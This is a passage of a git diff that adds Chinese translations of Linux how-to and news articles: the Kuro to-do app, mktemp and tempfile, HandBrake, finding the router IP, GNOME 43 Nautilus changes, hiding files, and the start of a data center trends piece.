获得一个系统托盘图标,以快速创建一个任务,搜索,或检查当天的可用列表。 +* 启用全局快捷键。 +* 切换可用的主题(深褐色、德古拉、黑色、深色)。 +* 切换自动夜间模式,如果你不想不断改变主题。 +* 隐藏托盘图标,如果你不需要它。 +* 根据需要定制字体大小。 + +![kuro todo settings][6] + +除了一些功能外,你还可以进入某些设置来启用/禁用电子邮件通知、删除前确认等,对待办事项应用体验的进行更多的控制。 + +总的来说,体验并不糟糕,但我在几分钟内注意到用户界面上有一些奇怪的图形问题。我不确定这是否是一个已知的问题。 + +### 在 Linux 中安装 Kuro + +你可以从它的 [GitHub 发布页面][7] 找到基于 Ubuntu 的发行版的 .deb 包。 + +此外,你可以从 [Snap 商店][8] 中在你选择的任何 Linux 发行版上安装它。该软件包也可在 Arch Linux 发行版的 [AUR][9] 中获取。 + +开发者还提到,正在开发一个 Flatpak 软件包。所以,你可以关注它的 [GitHub 页面][10]以了解更多相关信息。 + +> **[Kuro][11]** + +你已经试过它了吗?你知道有什么更好的微软 To-Do 客户端用于 Linux 吗?请在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/kuro-to-do-app/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/microsoft-edge-linux/ +[2]: https://itsfoss.com/to-do-list-apps-linux/ +[3]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-800x507.png +[4]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-options-800x444.png +[5]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-1.png +[6]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-settings.png +[7]: https://github.com/davidsmorais/kuro/releases +[8]: https://snapcraft.io/kuro-desktop +[9]: https://itsfoss.com/aur-arch-linux/ +[10]: https://github.com/davidsmorais/kuro +[11]: https://github.com/davidsmorais/kuro diff --git a/published/202207/20220627 Make a temporary file on Linux with Bash.md b/published/202207/20220627 Make a temporary file on Linux with Bash.md new file mode 100644 index 0000000000..630fcc31bc --- /dev/null +++ b/published/202207/20220627 Make a temporary file on Linux with Bash.md @@ -0,0 +1,144 @@ +[#]: subject: "Make a temporary file on Linux with Bash" +[#]: via: "https://opensource.com/article/22/6/make-temporary-file-bash" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14783-1.html" + +在 Linux 上使用 Bash 创建一个临时文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/01/145110u1ninn1n3idspp71.jpg) + +> 基于 Fedora 的系统上的 `mktemp` 命令和基于 Debian 的系统上的 `tempfile` 是专门为减轻这种负担而设计的,它使创建、使用和删除独特的文件变得容易。 + +使用 Bash 脚本语言进行编程时,有时需要创建一个临时文件。例如,你可能需要一个可以提交到磁盘的中间文件,以便你可以使用另一个命令对其进行处理。创建诸如 `temp` 之类的文件或任何以 `.tmp` 结尾的文件很容易。但是,这些名称很可能是由其他进程生成的,因此你可能会不小心覆盖现有的临时文件。除此之外,你不应该花费脑力想出看起来独特的名字。基于 Fedora 的系统上的 `mktemp` 命令和基于 Debian 的系统上的 `tempfile` 是专门为减轻这种负担而设计的,它使创建、使用和删除独特的文件变得容易。 + +### 创建一个临时文件 + +`mktemp` 和 `tempfile` 都创建一个临时文件作为它们的默认操作,并打印文件的名称和位置作为输出: + +``` +$ tempfile +/tmp/fileR5dt6r + +$ mktemp +/tmp/tmp.ojEfvMaJEp +``` + +除非你指定不同的路径,否则系统会将临时文件放在 `/tmp` 目录中。 + +对于 `mktemp`,可以使用 `-p` 选项指定路径: + +``` +$ mktemp -p ~/Demo +/home/tux/Demo/tmp.i8NuhzbEJN +``` + +对于 `tempfile`,可以使用 `--directory` 或 `-d` 选项: + +``` +$ tempfile --directory ~/Demo/ +/home/sek/Demo/fileIhg9aX +``` + +### 找到你的临时文件 + +使用自动生成的临时文件的问题是你无法知道它的名字是什么。这就是为什么两个命令都返回生成的文件名作为输出的原因。你可以使用 Konsole、GNOME 终端或 [rxvt][2] 等交互式 shell 来使用终端上显示的文件名与文件进行交互。 + +但是,如果你正在编写脚本,则无法通过读取文件名并在以下命令中使用它来进行干预。 + +`mktemp` 和 `tempfile` 的作者想到了这个问题,并且有一个简单的解决方法。终端将输出发送到名为“标准输出”的流。你可以通过将变量设置为在子 shell 中启动的命令的结果来捕获标准输出: + +``` +$ TMPFILE=$(mktemp -p ~/Demo) + +$ echo $TMPFILE +/home/tux/Demo/tmp.PjP3g6lCq1 +``` + +引用文件时使用 `$TMPFILE`,它与直接与文件本身交互相同。 + +### 使用 mktemp 创建一个临时目录 + +你还可以使用 `mktemp` 命令创建目录而不是文件: + +``` +$ mktemp --directory -p ~/Demo/ +/home/tux/Demo/tmp.68ukbuluqI + +$ file /home/tux/Demo/tmp.68ukbuluqI +/home/tux/Demo/tmp.68ukbuluqI: directory +``` + +### 自定义临时名称 + +有时你甚至可能希望在伪随机生成的文件名中加入可预测性元素。你可以使用这两个命令自定义临时文件的名称。 + +使用 `mktemp`,你可以为文件名添加后缀: + +``` +$ mktemp -p ~/Demo/ --suffix .mine +/home/tux/Demo/tmp.dufLYfwJLO.mine +``` + +使用 `tempfile`,你可以设置前缀和后缀: + +``` +$ tempfile --directory ~/Demo/ --prefix tt_ --suffix .mine +/home/tux/Demo/tt_0dfu5q.mine +``` + +### 把 tempfile 作为 touch 使用 + +你还可以使用 `tempfile` 设置自定义名称: + +``` +$ tempfile --name not_random +not_random +``` + +当你使用 `--name` 选项时,它是绝对的,忽略所有其他形式的自定义。事实上,它甚至忽略了 `--directory` 选项: + +``` +$ tempfile --directory ~/Demo --prefix this_is_ --suffix .all --name not_random_at +not_random_at +``` + +在某种程度上,`tempfile` 可以替代 `touch` 和 `test`,因为它拒绝创建已经存在的文件: + +``` +$ tempfile --name example.txt +open: file exists +``` + +`tempfile` 命令并非默认安装在所有 Linux 发行版上,因此在将其用作脚本中的 `test` 的 hack 之前,你必须确保它存在。 + +### 安装 mktemp 和 tempfile + +[GNU Core Utils][3] 包括 `mktemp` 命令。主要发行版默认包括 Core Utils(它是包含 `chmod`、`cut`、`du` 和其他基本命令的同一个软件包)。 + +Debian Utils 软件包包含 `tempfile` 命令,默认安装在大多数基于 Debian 的发行版和 Slackware Linux 上。 + +### 总结 + +临时文件很方便,因为不会混淆它们是否可以安全删除。它们是临时的,意在根据需要使用并毫不犹豫地丢弃。在需要时使用它们,并在完成后清除它们。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/make-temporary-file-bash + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bash_command_line.png +[2]: https://opensource.com/article/19/10/why-use-rxvt-terminal +[3]: https://www.gnu.org/software/coreutils/ diff --git a/published/202207/20220628 HandBrake- Free Tool for Converting Videos from Any Format.md b/published/202207/20220628 HandBrake- Free Tool for Converting Videos from Any Format.md new file mode 100644 index 0000000000..91509dd7e5 --- /dev/null +++ b/published/202207/20220628 HandBrake- Free Tool for Converting Videos from Any Format.md @@ -0,0 +1,127 @@ +[#]: subject: "HandBrake: Free Tool for Converting Videos from Any Format" +[#]: via: "https://www.debugpoint.com/handbrake/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14801-1.html" + +HandBrake:用于转换任何格式视频的免费工具 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/07/141355dt7b8znyhfmltmsh.jpg) + +> 了解一下 HandBrake,这是一个优秀的工具,可以将任何格式的视频转换为目标类型。 + +本文介绍了它的功能、下载说明和使用指南。 + +### HandBrake + +在这个社交媒体的时代,我们身处各种视频之中,当然还有随之而来的各种格式。因此,如果你是在 Linux 平台,甚至是在 Windows 平台,你可以使用各种软件来为多个平台转换各种视频。但是,如果你需要一个简单但功能丰富的视频转换器来处理来自多个来源的所有视频格式,请尝试 HandBrake。 + +#### 功能 + +HandBrake 有大量的选项,使其成为一个独特的工具。首先,其工作流程是超级简单。事实上,它只是三个步骤: + +* 选择一个视频 +* 选择一个目标格式 +* 转换 + +正如你所看到的,如果你是一个新手用户,使用这个工具是非常容易的,因为目标格式的属性(如比特率、尺寸)是基于默认的预设。 + +其次,如果你想进行高级编辑,如在转换时从字幕文件中添加字幕,也可以使用这个工具。 + +此外,你还可以改变尺寸、翻转视频、改变分辨率、修改长宽比,以及裁剪。此外,通过一套基本的过滤器配置,可以完成诸如去噪和锐化等操作。 + +另外,为你的视频文件添加章节、标签和音轨也很容易。 + +也许 HandBrake 的重要功能是提供预设,以满足现代社会媒体和流媒体的需求。例如,其预设与这些流媒体平台和流媒体设备相一致,如: + +* Discord +* GMail +* Vimeo +* 亚马逊 Fire Stick 电视棒 +* 苹果设备 +* Chromecast +* Playstation +* Roku +* Xbox + +一个相当令人印象深刻的列表,不是吗?不仅如此,如果你是一个专业工作者,它可以帮助你定义和创建转换队列。队列功能允许你在工作流程中批量转换多个视频文件。 + +最后,你可以转换为 MPEG-4(mp4)、Matroska(mkv)和 WebM 格式。 + +![HandBrake with various features][1] + +### 下载和安装 + +下载和安装 HandBrake 对于任何平台(Linux、Mac 和 Windows)都很容易。开发者直接提供了可执行文件,可以免费下载。 + +由于本站的主要目标受众是 Linux 用户,我们将讨论 HandBrake 在 Linux 中的安装。 + +对于 Ubuntu、Linux Mint 和所有其他发行版,最好的方法是 Flatpak。你可以 [设置 Flatpak][2],然后点击下面的按钮来安装 HandBrake: + +> **[通过 Flathub 安装 HandBrake][3]** + +对于 Windows、macOS 的安装程序,请访问 [这个页面][4a]。 + +一个有趣的特点是,你可以通过命令行使用这个应用程序!这意味着你可以使用命令行工具进一步定制你的工作流程,你可以在 [这里][4] 下载。 + +### 如何使用 HandBrake 来转换视频?(示例) + +既然你安装了它,让我们看看你如何只用三个步骤就能转换一个示例视频。 + +1. 打开 HandBrake,点击顶部工具栏上的 “打开源文件Open Source” 按钮,选择你的视频文件。 +2. 现在,从“格式Format”下拉菜单中选择目标文件类型。确保选中目标文件夹(默认为 `Videos`)。 +3. 最后,点击顶部工具栏的“开始Start”按钮,用 HandBrake 转换视频。 + +![HandBrake Video Conversion in three simple steps][5] + +你可以在窗口的底部找到一个漂亮的转换进度显示。 + +![Encoding status][6] + +上面的步骤是最基本的步骤。如果你想进一步控制视频,你可以改变选项,也可以从我前面解释的大量预设列表中选择。 + +### 常见问题 + +**HandBrake 是免费使用么?** + +是的,它是一个自由开源的应用程序,你可以免费下载它。 + +**它可在 Mac 和 Windows 上用么?** + +是的,你可以在 macOS、Windows 10 和 Windows 11 中轻松安装 HandBrake。 + +**如何下载 HandBrake?** + +你只能从官方网站 https://handbrake.fr/ ,不能从其他地方下载 HandBrake。 + +### 结束语 + +Handbrake 是如今可用的专业级免费和开源视频编码器之一。它是一个经过时间考验的应用,每天有数百万用户使用。我希望本指南能帮助你了解这个神奇的工具,让你开始你的视频项目。 + +**演示视频来自 [Pexels - cottonbro][7]**。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/handbrake/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/06/HandBrake-with-various-features.jpg +[2]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[3]: https://dl.flathub.org/repo/appstream/fr.handbrake.ghb.flatpakref +[4]: https://handbrake.fr/downloads2.php +[4a]: https://handbrake.fr/downloads.php +[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/HandBrake-Video-Conversion-in-three-simple-steps.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/06/Encoding-status.jpg +[7]: https://www.pexels.com/video/hands-hand-table-colorful-3997786/ diff --git a/published/202207/20220629 Finding Your Router-s IP Address -Default Gateway- in Ubuntu and Other Linux.md b/published/202207/20220629 Finding Your Router-s IP Address -Default Gateway- in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..e33d4eb801 --- /dev/null +++ b/published/202207/20220629 Finding Your Router-s IP Address -Default Gateway- in Ubuntu and Other Linux.md @@ -0,0 +1,112 @@ +[#]: subject: "Finding Your Router’s IP Address (Default Gateway) in Ubuntu and Other Linux" +[#]: via: "https://itsfoss.com/router-ip-address-linux/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14799-1.html" + +在 Linux 中找到你的路由器的 IP 地址(默认网关) +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/06/155222cgjpa9ppa19zr2g1.jpg) + +你可能已经知道如何在 Linux 中获得你的系统的 IP 地址。 + +但是你怎么知道你的路由器的 IP 地址呢? + +我说的不是你可以通过连接到 “[Show My IP][1]” 这样的网站或简单地在 [DuckDuckGo][3] 中 [搜索“what is my ip”][2] 获得的公网 IP。 + +我说的是默认网关 IP,你的 Linux 桌面所连接的地址。 + +你为什么需要它?嗯,如果你需要改变你的 Wi-Fi/网络的 SSID、密码或其他配置,你必须连接到它。简单的方法是在网页浏览器中输入路由器的 IP 地址,然后使用路由器的用户名和密码。 + +虽然我不能帮助你获得路由器的用户名和密码,但我肯定可以告诉你如何获得它的 IP。 + +一如既往,我将展示 GUI 和命令行两种方法。 + +### 方法 1:在 Linux 中使用 GUI 获取路由器的 IP 地址 + +这其实很简单。我在这里使用的是 Ubuntu 的 GNOME 桌面。如果你使用一些 [其他桌面环境][4],截图可能会有所不同。 + +打开“系统设置System Settings”: + +![go to settings][5] + +现在进入 Wi-Fi 或“网络Network”(如果你使用的是有线的以太网连接)。在这里,点击你当前使用的网络旁边的小设置符号。 + +![access network settings ubuntu][6] + +它将打开一个新窗口,里面有关于你的连接的一些细节,如 IP 地址、DNS 和 [Mac 地址][7]。你还可以在“安全security”标签下看到 [保存的 Wi-Fi 密码][8]。 + +你还会看到一个名为“默认路由Default Route”的条目。这就是你要找的东西。你的路由器的 IP 地址。 + +![default gateway ip ubuntu][9] + +你的系统和网络上的所有其他设备都使用这个 IP 地址连接到路由器。这就是大多数家庭的设置。 + +现在我已经展示了 GUI 的方法,让我们去看看终端的路线。 + +### 方法 2:在 Linux 命令行中获取路由器的 IP 地址 + +打开一个终端,使用以下命令: + +``` +ip route +``` + +它将显示几个条目。 + +``` +~$ ip route +default via 192.168.1.1 dev wlp0s20f3 proto dhcp metric 600 +169.254.0.0/16 dev wlp0s20f3 scope link metric 1000 +192.168.1.0/24 dev wlp0s20f3 proto kernel scope link src 192.168.1.34 metric 600 +``` + +第一行,以 `default via` 开头,给出了你网关的 IP。这是你的路由器的 IP 地址。 + +![default route linux terminal][10] + +你可以看到,`192.168.1.1` 是我的路由器的 IP 地址。通常情况下,路由器的 IP 地址是子网的第一个数字。然而,这并不是一个硬性规定。我也见过有 `x.y.z.30` 地址的路由器。 + +### 额外技巧 + +正如 Samir 在评论中所分享的,你也可以(在 Debian 上)使用 `ping` 命令来获得网关 IP: + +``` +ping _gateway +``` + +![ping gateway][11] + +以防你不知道,你必须 [在 Linux 中使用 Ctrl+C 来停止一个正在运行的命令][12]。 + +我希望你在需要的时候能发现这个技巧是有用的。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/router-ip-address-linux/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://www.showmyip.com/ +[2]: https://duckduckgo.com/?q=what+is+my+ip&t=h_&ia=answer +[3]: https://itsfoss.com/duckduckgo-easter-eggs/ +[4]: https://itsfoss.com/best-linux-desktop-environments/ +[5]: https://itsfoss.com/wp-content/uploads/2022/02/go_to_settings.jpg +[6]: https://itsfoss.com/wp-content/uploads/2022/06/access-network-settings-ubuntu-800x448.png +[7]: https://itsfoss.com/change-mac-address-linux/ +[8]: https://itsfoss.com/how-to-find-saved-wireless-wifi-passwords-ubuntu/ +[9]: https://itsfoss.com/wp-content/uploads/2022/06/defaul-gateway-ip-ubuntu.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/defaul-route-linux-terminal.png +[11]: https://itsfoss.com/wp-content/uploads/2022/06/ping-gateway.png +[12]: https://itsfoss.com/stop-program-linux-terminal/ diff --git a/published/202207/20220630 6 New Changes Coming to Nautilus File Manager in GNOME 43.md b/published/202207/20220630 6 New Changes Coming to Nautilus File Manager in GNOME 43.md new file mode 100644 index 0000000000..99f5848a1e --- /dev/null +++ b/published/202207/20220630 6 New Changes Coming to Nautilus File Manager in GNOME 43.md @@ -0,0 +1,109 @@ +[#]: subject: "6 New Changes Coming to Nautilus File Manager in GNOME 43" +[#]: via: "https://news.itsfoss.com/gnome-files-43/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14791-1.html" + +GNOME 43 中 Nautilus 文件管理器的 6 个新变化 +====== + +> GNOME 文件即将到来的变化改善了用户体验,让我们来看看其中的一些变化。 + +![gnome files][1] + +我们离 GNOME 43 的发布还有几个月的时间,但是 GNOME 应用程序的开发活动正在如火如荼地进行。 + +例如,[GNOME Web 43 alpha 版本支持了扩展][2]。 + +同样,GNOME 文件管理器(Nautilus)也有一些令人兴奋的变化,特别是对于列表视图。 + +列表视图使用 [GtkColumnView][3] 部件重新实现,丢弃了 GtkTreeView,以便能够添加新功能。 + +一些完善了代码的变化包括: + +### 1、拖动并选择文件 + +就像你在网格视图中通常所做的那样,你终于可以通过简单地拖动你的鼠标在列表视图中选择多个项目,来选择你想要的项目。 + +![gnome files][4] + +如果你没有注意到,每行之间也有一点间隔。虽然选择的动画还不是最流畅的,但它是一个正在进行的工作。 + +我试着用 peek 录制 GIF(在带有 Wayland 的 Fedora 上),但由于某些原因,它没有反应,可能与 alpha 版本有一些冲突。 + +### 2、鼠标悬停时高亮行 + +当你把鼠标悬停在上面的时候,没有行高亮是很不直观的。 + +现在,它做到了。只要把你的光标放在列表视图中的任何一个项目上,它就会被突出显示,如上图所示。 + +### 3、搜索一个文件时,列不会消失 + +![之前][5] + +![之后][6] + +当你用当前的 Nautilus 文件管理器搜索一个文件时,列的处理方式不是很好。你会失去某些细节信息,如文件大小。 + +在新的变化中,你仍然可以看到文件的大小、修改日期,以及给文件加星的能力。 + +通过这一改变,用户体验肯定会更好。 + +### 4、更好的紧凑视图 + +当你缩小文件管理器窗口的大小时,也处理的不是很好。你看不到文件扩展名的细节,而且列对变化没有反应。 + +![][7] + +在 GNOME 文件管理器 43 alpha 版本中,即使你缩小了窗口的大小以获得一个紧凑的视图,你仍然可以看到列,以及如上所示的文件扩展名。 + +### 5、新的文件上下文菜单 + +![][8] + +作为对 2022 年 GSoC(谷歌编程之夏)的贡献的一部分,一位开发者正专注于改善新文档功能的可发现性。 + +当你将某些文件添加到模板Templates目录中时,你可以在执行右键单击时在上下文菜单中找到这个 “新文档New Document” 选项。 + +在即将到来的更新中,这个选项将是开箱即用。即,更加易于使用。 + +另外,开发人员正在想办法改进添加模板的过程。你可以这篇在 [博文][9] 中更多了解他们的工作。 + +### 6、当你给一个文件加星时的动画 + +![][10] + +当你点击列表项右侧的星形图标时,你可以发现它在移动,让你知道你与该选项进行了互动。 + +### 总结 + +当然,我所提到的一切都处于开发阶段(alpha 版本)。在我们等待 beta 版本的时候,我们应该能清楚地了解到文件管理器的更多功能,以及事情是如何改进的。 + +你对 GNOME 43 有什么期待?请在下面的评论中告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-files-43/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/changes-in-nautilus-in-gnome-43.jpg +[2]: https://news.itsfoss.com/gnome-web-extensions-dev/ +[3]: https://gitlab.gnome.org/GNOME/nautilus/-/commit/6708861ed174e2b2423df0500df9987cdaf2adc0 +[4]: https://news.itsfoss.com/wp-content/uploads/2022/06/nautilus-drag-select-alpha.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/06/file-search-before.jpg +[6]: https://news.itsfoss.com/wp-content/uploads/2022/06/file-search-after.jpg +[7]: https://news.itsfoss.com/wp-content/uploads/2022/06/compact-view-files-1024x482.jpg +[8]: https://news.itsfoss.com/wp-content/uploads/2022/06/new-document-file-manager.jpg +[9]: https://ignapk.blogspot.com/2022/06/gsoc-2022-first-update-planning.html +[10]: https://news.itsfoss.com/wp-content/uploads/2022/06/animation0file.webm diff --git a/published/202207/20220630 Hide Files and Folders in Linux Without Renaming Them.md b/published/202207/20220630 Hide Files and Folders in Linux Without Renaming Them.md new file mode 100644 index 0000000000..496b2205d8 --- /dev/null +++ b/published/202207/20220630 Hide Files and Folders in Linux Without Renaming Them.md @@ -0,0 +1,137 @@ +[#]: subject: "Hide Files and Folders in Linux Without Renaming Them" +[#]: via: "https://itsfoss.com/hide-files-folders-linux/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14806-1.html" + +在 Linux 中隐藏文件和文件夹的那些事 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/08/142700yijbiw44bqfpfs4j.jpg) + +> 这篇面向初学者的文章探讨了在 Linux 中如何在普通视图中隐藏文件和文件夹。图形用户界面和命令行方法都有所涉猎。 + +有时你需要在 Linux 中隐藏文件。 + +不要误会,我不是指那些你不想让你的家人看到的“特殊文件”。尽管你可以隐藏这些特殊文件,但更好的办法还是用密码锁定它们以提供额外的保护。 + +回到隐藏文件的话题。**名称以 `.` 开头的任何文件或文件夹在 Linux 中是“隐藏的”。** + +Linux 有很多这样的文件和文件夹,在普通视图中它们是隐藏的。这些主要是系统和程序所需的配置文件。 + +用户通常不需要理会它们,因此它们在普通视图中是隐藏的,这样一来你就不会被许多看起来很奇怪的而不是你所创建的文件所淹没。 + +下图展示了我的主目录中隐藏的文件和文件夹。 + +![linux 普通视图][1] + +![linux 显示隐藏文件][2] + +如果你使用的是桌面版 Linux,你可以通过在文件管理器中按 `Ctrl+H` 快捷键来轻松 [查看隐藏文件][3]。在终端中,你可以使用 `ls -a` 命令显示隐藏文件和普通文件。 + +那么,如何在 Linux 中创建隐藏文件呢?你只需用一个在命名的时候加一个 `.` 前缀。就是这样。 + +### 在桌面版 Linux 里创建隐藏文件和文件夹(GUI 方法) + +如果你使用的是文件管理器,在文件或文件夹上右键并选择重命名选项。现在你所要做的就是在文件名的开头添加一个 `.`。 + +当你以这种方式创建隐藏文件时,GNOME 的 Nautilus 文件管理器也会显示一个警告。 + +![ubuntu linux 隐藏文件][4] + +你可以以相同的方式隐藏文件夹及其所有内容。 + +你可以按 `Ctrl+H` 键来显示隐藏文件。哦!我是多么的喜欢 [Ubuntu 中的键盘快捷键][5] 和我使用的任何其他程序或操作系统! + +要使隐藏文件变回普通文件,只需再次重命名这些文件删掉文件名前缀的 `.` 即可。 + +### 在 Linux 终端创建隐藏文件和文件夹(CLI 方法) + +如果你热衷于终端,你可以 [使用 mv 命令][6] 重命名文件。你只需在原始文件名的开头添加一个 `.`。 + +``` +mv filename .filename +``` + +你可以使用以下命令显示隐藏文件: + +``` +ls -la +``` + +你也可以使用 `ls -lA`。这条命令不会显示点文件(`.` 和 `..`)。 + +### 额外提示:用非重命名的方法隐藏文件和文件夹(仅适用于 GUI) + +你刚刚学了在 Linux 中隐藏文件。问题是你必须重命名文件,而这种操作不适用于所有的场合。 + +例如,在 Ubuntu 中,你会在目录中看到一个名为 `snap` 的文件夹。你不会使用它,但如果重命名它,你的 Snap 应用程序将无法按预期工作。类似的情况是,在 Ubuntu 22.04(安装有 Snap 版本的 Firefox)的 `Downloads` 目录下有一个 `firefox.tmp` 文件夹。 + +有一个巧妙的技巧可以在 Linux 桌面中使用。它应该可以在 Nemo、Thunar、Dolphin 等各种文件管理器下工作,但我不能保证。它确实适用于 GNOME 的 Nautilus 文件管理器。 + +因此,你在这里所做的是在你想要隐藏的文件或文件所在的目录中创建一个名为 `.hidden` 的新文件。 + +![在 Linux 中隐藏文件的另一种方法][7] + +按 `Ctrl+H` 显示隐藏文件并 **打开 `.hidden` 文件** 进行编辑。**在单独的行中添加文件或文件夹的名称**。注意不能使用绝对或相对路径。你想要隐藏的 **文件和文件夹应与此特殊 `.hidden` 文件** 位于同一路径下。 + +这是我以不重命名的方式隐藏 `cpufetch` 目录和 `pcloud` 文件的示例: + +``` +pcloud +cpufetch +``` + +按 `Ctrl+H` 以再次隐藏 `.hidden` 文件。 + +现在,**关闭你的文件资源管理器并重新启动它**。你将不会再看到 `.hidden` 文件中提到的文件和目录。 + +如果你想再次查看它们,请按 `Ctrl+H` 键。 + +如果你不想再隐藏文件,请从 `.hidden` 文件中删除其名称或完全删除 `.hidden` 文件。 + +### 额外琐事:隐藏文件“功能”实际上是一个 bug + +你知道吗?在文件名的开头添加一个 `.` 来隐藏文件的“功能” [实际上是一个 bug][8]? + +在早期的 UNIX 时代,当创建文件系统时,添加了 `.`(当前目录)和 `..`(父目录)文件以方便导航。 + +由于这些特殊的 `.` 和 `..` 文件中没有实际数据,因此给 `ls` 命令添加了一个新的“功能”:该功能是检查文件名的第一个字符,如果它是一个点(`.`),则不再使用 `ls` 命令显示它。 + +这对隐藏 `.` 和 `..` 文件有效,但它引入了一个 “bug”:`ls` 命令的输出会隐藏任何文件名以 `.` 开头的文件。 + +这个 bug 变成了一个功能,因为程序员喜欢它来“隐藏”他们的配置文件。`ls` 命令可能是后来修改添加了一个显示隐藏点文件的选项。 + +Linux 遵循相同的约定,因为 Linux 是以 UNIX 为原型开发的。 + +### 结论 + +我讨论了如何从普通视图中创建隐藏文件。如果要创建让其他人无法访问的机密文件或文件夹,则应对其进行加密。我曾经写过 [在 Linux 中使用密码锁定文件夹][9]。这是一篇有点儿旧的文章,但它可能仍然有效。 + +我希望你喜欢这个简单的话题并学到新的东西。发布你的评论让我知道你的想法吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/hide-files-folders-linux/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/06/linux-normal-view.png +[2]: https://itsfoss.com/wp-content/uploads/2022/06/linux-show-hiiden-files.png +[3]: https://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ +[4]: https://itsfoss.com/wp-content/uploads/2022/06/hide-files-ubuntu-linux.png +[5]: https://itsfoss.com/ubuntu-shortcuts/ +[6]: https://linuxhandbook.com/mv-command/ +[7]: https://itsfoss.com/wp-content/uploads/2022/06/alternate-way-of-hiding-files-in-linux.png +[8]: https://linux-audit.com/linux-history-how-dot-files-became-hidden-files/ +[9]: https://itsfoss.com/password-protect-folder-linux/ diff --git a/published/202207/20220630 The Top Trends Changing The Data Center Industry.md b/published/202207/20220630 The Top Trends Changing The Data Center Industry.md new file mode 100644 index 0000000000..8cc699c044 --- /dev/null +++ b/published/202207/20220630 The Top Trends Changing The Data Center Industry.md @@ -0,0 +1,52 @@ +[#]: subject: "The Top Trends Changing The Data Center Industry" +[#]: via: "https://www.opensourceforu.com/2022/06/top-trends-changing-data-center-industry/" +[#]: author: "abhimanyu rathore https://www.opensourceforu.com/author/abhimanyu-rathore/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14805-1.html" + +改变数据中心行业的主要趋势 +====== + +![Data center][1] + +大流行加快了印度全国数字化转型的速度,这需要对数据中心进行更多投资。由于快速的数字化和云采用,印度数据中心市场的容量预计在未来几年将翻一番。据报道,2021 年印度数据中心市场规模为 43.5 亿美元,到 2027 年将达到 100.9 亿美元,2022-2027 年的复合年增长率为 15.07%。 + 